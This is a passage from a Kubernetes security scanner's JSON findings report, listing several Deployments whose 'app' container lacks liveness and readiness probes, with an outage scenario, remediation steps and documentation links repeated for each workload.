      "A regression in the app deployed via `Deployment/ingress-app` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:lp-fixtures:lp-narrow-app:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/lp-fixtures/lp-narrow-app` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/lp-fixtures/lp-narrow-app` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "lp-narrow-app",
      "namespace": "lp-fixtures",
      "api_group": "apps"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/lp-fixtures/lp-narrow-app`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/lp-narrow-app` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:lp-fixtures:lp-orphan-app:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/lp-fixtures/lp-orphan-app` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/lp-fixtures/lp-orphan-app` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "lp-orphan-app",
      "namespace": "lp-fixtures",
      "api_group": "apps"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/lp-fixtures/lp-orphan-app`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/lp-orphan-app` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:lp-fixtures:lp-wildcard-app:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/lp-fixtures/lp-wildcard-app` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/lp-fixtures/lp-wildcard-app` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "lp-wildcard-app",
      "namespace": "lp-fixtures",
      "api_group": "apps"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/lp-fixtures/lp-wildcard-app`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/lp-wildcard-app` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:netpol-imds:imds-allow-app:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/netpol-imds/imds-allow-app` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/netpol-imds/imds-allow-app` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-allow-app",
      "namespace": "netpol-imds",
      "api_group": "apps"
    },
    "namespace": "netpol-imds",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/netpol-imds/imds-allow-app`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/imds-allow-app` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:netpol-imds:imds-open-app:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/netpol-imds/imds-open-app` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/netpol-imds/imds-open-app` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-open-app",
      "namespace": "netpol-imds",
      "api_group": "apps"
    },
    "namespace": "netpol-imds",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/netpol-imds/imds-open-app`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/imds-open-app` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:psa-suppressed:psa-priv-app:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/psa-suppressed/psa-priv-app` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/psa-suppressed/psa-priv-app` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "psa-priv-app",
      "namespace": "psa-suppressed",
      "api_group": "apps"
    },
    "namespace": "psa-suppressed",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/psa-suppressed/psa-priv-app`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/psa-priv-app` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
